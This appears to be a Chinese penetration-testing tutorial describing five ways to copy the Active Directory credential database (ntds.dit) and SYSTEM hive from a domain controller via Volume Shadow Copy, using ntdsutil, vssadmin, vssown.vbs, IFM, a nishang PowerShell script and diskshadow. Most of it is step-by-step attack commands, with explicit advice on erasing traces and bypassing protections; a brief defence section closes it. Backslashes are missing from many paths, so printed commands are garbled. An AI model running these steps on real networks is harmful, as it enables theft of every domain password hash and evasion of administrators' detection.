利用卷影拷贝服务攻击域控五大绝招

2023-11-03 16:49:52 浏览数 (1)

在微软Active Directory(活动目录)中,所有的数据都被保存在ntds.dit中, NTDS.DIT是一个二进制文件,

它存在于域控制器中的

%SystemRoot%ntdsNTDS.DIT。ntds.dit包括但不限于Username、Hash、Group、GPP、OU等活动目录相关信息。它和SAM文件一样,是被Windows系统锁定的,我们来介绍一下如果将ntds.dit从系统转导出以及如何读取ntds.dit中的信息。一般情况下我们会利用VSS 即 Volume Shadow Copy Service。VSS本质上属快照(Snapshot)技术的一种,主要用来做备份恢复之用(即使目标文件当前处于锁定状态)。

01

ntdsutil工具提取

ntdsutil.exe是一个为Active Directory 提供管理设施的命令行工具。您可使用 Ntdsutil.exe 执行 Active Directory 的数据库维护,管理和控制单个主机操作,创建应用程序目录分区,以及删除由未使用 Active Directory 安装向导 (DCPromo.exe) 成功降级的域控制器留下的元数据。该工具默认被安装在域控制器上,我们可以在域控制器上进行操作,也可以通过域内机器远程在域控制器上操作,如何进行远程操作会在后面的章节进行详细讲解。

支持操作系统为:Server 2003、Server 2008、Server 2012。

开始我们在域控制器上的cmd输入如下命令创建一个快照,该快照将Windows中的文件进行了全部拷贝粘贴,被拷贝出的文件,不受Windows锁定限制。可以看到创建了一个GUID为b899b565-dcd4-423a-b663-7dfabbfb979e的快照副本,如图6-1所示。

代码语言:javascript复制
ntdsutil snapshot "activate instance ntds" create quit quit

图6-1使用ntdsutil.exe创建快照

接下来我们将刚刚创建的快照挂载在机器上,命令格式为ntdsutil snapshot "mount {GUID}" quit quit,其中GUID为刚刚创建的GUID。

在cmd输入如下命令挂载,可以看到已经成功将快照挂载到系统中,快照被挂载在C:SNAP_201808131112_VOLUMEC目录,如图6-2所示。

代码语言:javascript复制
ntdsutil snapshot "mount {b899b565-dcd4-423a-b663-7dfabbfb979e}" quit quit

图6-2将创建的快照挂载到系统中

接着使用windows自带的copy命令将快照中的文件复制出来,在cmd输入如下命令。

代码语言:javascript复制
copy C:$SNAP_201808131112_VOLUMEC$windowsntdsntds.dit c:tempntds.dit

该命令可以将快照中

代码语言:javascript复制
C:$SNAP_201808131112_VOLUMEC$windowsntdsntds.dit

复制到本地计算机的c:tempntds.dit目录中。

接下来我们将之前挂载的快照卸载并删除快照,擦除痕迹,如图6-3所示,在cmd输入命令:

代码语言:javascript复制
ntdsutil snapshot "unmount {b899b565-dcd4-423a-b663-7dfabbfb979e}" "delete {b899b565-dcd4-423a-b663-7dfabbfb979e}" quit quit

图6-3卸载并删除挂载好的快照

其中b899b565-dcd4-423a-b663-7dfabbfb979e为之前创建时的GUID,每次创建的GUID都不同。再查询当前所有快照,显示没有任何快照,表示删除成功,如图6-4所示。

图6-4列出当前系统中所有快照

02

vssadmin工具提取

vssadminn是Windows Server 2008 及 Windows 7系统提供的VSS的管理工具。它可以用于创建或删除卷影副本,列出卷影副本的信息(只能管理系统Provider创建的卷影副本)。还可以用于显示所有安装的所有卷影副本写入程序(writers)和提供程序(providers),以及改变卷影副本存储空间(即所谓的“diff 空间”)的大小等。

支持操作系统:Server 2008、 Server 2012

操作流程和ntdsutil类似,在域控制器中打开cmd,输入如下命令创建一个C盘的卷影副本,如图6-5所示。

代码语言:javascript复制
vssadmin create shadow /for=c:

图6-5创建快照

将创建好的副本中的ntds.dit进行复制,如图6-6所示,在cmd输入命令:

代码语言:javascript复制
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy5windowsNTDSntds.dit c:ntds.dit  

图6-6复制快照中的ntds.dit

查看C盘下,看到ntds.dit已经被成功复制出来,如图6-7所示。

图6-7查看是否拷贝成功

接下来做的就是删除副本,清理痕迹,如图6-8所示。

图6-8删除快照

03

vssown.vbs脚本提取

vssown.vbs是和vssadmin类似,它是由Tim Tomes开发完成的,它可以创建和删除卷影副本,以及启动和停止卷影复制服务。作者的github有储存此项目,下载地址:

代码语言:javascript复制
https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

在cmd下执行该脚本,该脚本常用为下列几个命令。

cscript vssown.vbs /start /启动卷影复制服务

cscript vssown.vbs /create c /创建一个C盘的卷影副本

cscript vssown.vbs /list /列出当前卷影副本

cscript vssown.vbs /delete /删除卷影副本

开始先启动卷影复制服务,如图6-9所示,输入命令:

代码语言:javascript复制
cscript vssown.vbs /start

图6-9启动卷影复制服务

创建一个C盘的卷影副本,如图6-10所示,输入命令:

代码语言:javascript复制
cscript vssown.vbs /create c

图6-10创建快照

列出当前卷影副本,如图6-11所示,输入命令:

代码语言:javascript复制
cscript vssown.vbs /list

看到当前存在一个id为{E6ED51DF-7EC8-43F5-84D0-077899E7D4C9}的卷影副本。卷影副本位置为

代码语言:javascript复制
\?GLOBALROOTDeviceHarddiskVolumeShadowCopy8

图6-11查看当前存在的快照

将ntds.dit复制出来,复制成功,如图6-12所示,输入命令:

代码语言:javascript复制
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy8windowsNTDSntds.dit c:ntds.dit

图6-12复制ntds.dit到本地磁盘

删除卷影副本,擦除痕迹,如图5-166所示,输入命令:

代码语言:javascript复制
cscript vssown.vbs /delete {E6ED51DF-7EC8-43F5-84D0-077899E7D4C9}

图6-13删除创建的快照

04

使用NTDSUTIL的IFM创建卷影副本

可以按照方法(1)中的命令进行创建、挂载、复制、删除四个步骤完成ntds.dit的拷贝,也可以使用创建一个IFM的方式获取ntds.dit数据库文件,当我们使用NTDSUTIL创建一个IFM时,卷影副本会进行快照、挂载、将ntds.dit和计算机SAM进行复制到目标文件夹中。此方法同样可以使用Powershell或WMI进行远程执行,我们会在后面的章节逐一介绍。

首先我们在域控制器以管理员模式打开cmd,如图6-14所示,输入如下命令。

代码语言:javascript复制
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

图6-14创建快照并复制ntds.dit到本地磁盘

该命令会将ntds.dit复制到C盘下的test文件夹中的Active Directory文件夹中,如图6-15所示。

图6-15查看导出到本地磁盘的ntds.dit

将SYSTEM和SECURITY复制到C盘下的test文件夹中的registry文件夹中,如图6-16所示。

图6-16查看导出到本地磁盘的SYSTEM

将ntds.dit拖回本地后,在目标机器将test文件夹整个删除即可,输入命令:

代码语言:javascript复制
rmdir /s/q test

Tips:使用Powershell导出ntds.dit

在前面提到过的nishang工具包中,包含名为Copy-VSS.ps1的powershell脚本,我们将该脚本单独提取出来,在域控制器打开一个Powershell窗口,将Copy-VSS.ps1导入并执行该脚本,如图6-17所示,输入命令:

代码语言:javascript复制
import-module .Copy-VSS.ps1   /导入该脚本
Copy-vss      /执行命令

图6-17使用Powershell导出ntds.dit

该脚本会将SAM、SYSTEM、ntds.dit复制到Copy-VSS.ps1的同目录中,我们可以将其拖回本地进行处理。

05

使用diskshadow导出ntds.dit

参照微软官方文档解释:“DiskShadow.exe这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。默认配置下,DiskShadow.exe使用了一种交互式命令解释器,这里跟DiskRaid或DiskPart比较类似。”事实上,因为DiskShadow的代码是由微软官方签名的,而且在Windows Server 2008、Windows Server 2012和Windows Server 2016中都默认包含了DiskShadow。Diskshadow.exe 也是可以用来操作VSS导出ntds.dit,其功能上类似 vshadow,它同样是被放在了 c:windowssystem32目录中,而 vshdow 则是被包含在windowsSDK 中的,实战中可能还需要自己想办法传到目标机器上,也就是说,diskshadow 在我们实际渗透过程中更便于在目标系统上开箱即用。diskshadow拥有交互模式和非交互模式两种,交互模式需要登陆远程桌面等图形化管理方式,不利用隐蔽的进行渗透,所以我们一般使用非交互模式进行操作。因为不论是交互模式还是非交互模式都可以使用EXEC通过调取一个脚本文件执行相关命令。

首先查看diskshadow.exe的帮助信息,列出所有选项,输入命令,如图6-18所示。

代码语言:javascript复制
diskshadow.exe /?

图6-18查看diskshadow.exe的帮助信息

我们可以使用diskshadow.exe执行命令,这样的操作可以绕过一些防护程序,如我们可以使用diskshadow.exe运行一个calc.exe作为验证,将需要执行的命令输入到一个文本文件,先将exec c:windowssystem32calc.exe写入C盘目录中的command.txt,如图6-19所示。

图6-19查看脚本文件中的内容

再使用diskshadow.exe执行该命令即可,输入命令,如图6-20所示。

图6-20使用diskshadow.exe运行了一个calc.exe

diskshadow.exe同样是可以用来导出ntds.dit的,我们需要将命令写入一个文本文件中,写入内容如下:

代码语言:javascript复制
set context persistent nowriters        /设置卷影副本
add volume c: alias someAlias          /添加新的卷
create               /创建新的快照
expose %someAlias% k:          /分配虚拟磁盘盘符
exec "cmd.exe" /c copy k:WindowsNTDSntds.dit c:ntds.dit      /复制ntds.dit到C盘
delete shadows all           /删除所有快照
list shadows all           /列出系统的卷影副本
reset             /重置
exit              /33退出

使用diskshadow.exe直接加载这个文本文件来达到执行命令的效果,输入命令,如图6-21所示。

代码语言:javascript复制
diskshadow /s c:command.txt

图6-21执行脚本导出ntds.dit

注:在使用diskshadow.exe进行导出ntds.dit操作时,必须将当前域控制器执行shell的路径切换到C:windowssystem32,否则会引起错误发生,然后使用diskshadow.exe加载这个command.txt即可执行。

创建快照并分配盘符的效果如图6-22所示。

图6-22创建分配盘符的虚拟磁盘

在导出ntds.dit后,我们可以使用还需要将system转储出来,因为system中存放着解密ntds.dit的密钥,如果没有该密钥,是无法查看ntds.dit中的信息,输入命令,如图6-23所示。

代码语言:javascript复制
reg save hklmsystem c:windowstempsystem.hive

图6-23从注册表导出SYSTEM

注:在使用diskshadow.exe进行导出ntds.dit时,切记导出成功后将快照和分配的盘符删除,引起管理员的警觉,以免引起不必要的麻烦。

06

总结

1.在实战环境中,我们可以在非特权用户权限中diskshadow.exe的部分功能,相比较Vshadow的其他工具,diskshadow.exe更为灵活。

2.diskshadow.exe在执行命令时,需要上传文本文件到目标操作系统的本地磁盘或通过交互式才可以完成,而Vshadow等工具,可以直接执行相关命令,在遇到安全限制更为严格的操作系统中使用,可以大大减少被发现的可能性。

3.在实战中,先将含有需要执行的命令的文本文件写入到远程目标操作系统中,然后使用diskshadow.exe调用文本文件并执行。

4.使用diskshadow.exe导出ntds.dit可以使用wmi对远程主机进行操作,避免图形化登陆。

5.使用diskshadow.exe导出ntds.dit时,务必要在C:windowssystem32中执行操作。

6.在脚本执行完成后,检查从快照中复制出来的ntds.dit的大小,如果发生错误,可以检查修改脚本再重新执行。

防御:

1.监控卷影拷贝服务(VSS)的使用,检测卷影拷贝活动以及任何涉及到活动目录数据库文件(ntds.dit )的可疑操作行为。

2.监控System Event ID 7036(卷影拷贝服务进入运行状态的标志)的可疑实例以及VSSVC.exe进程的创建事件。

3.监控diskshadow.exe以及相关子进程的进程创建事件。

4.监控客户端设备的diskshadow.exe实例创建,除非是业务需要,否则Windows操作系统中不应该出现diskshadow.exe,可以将其在计算机中删除。

5.在日志中监控新的逻辑驱动器映射事件。

0 人点赞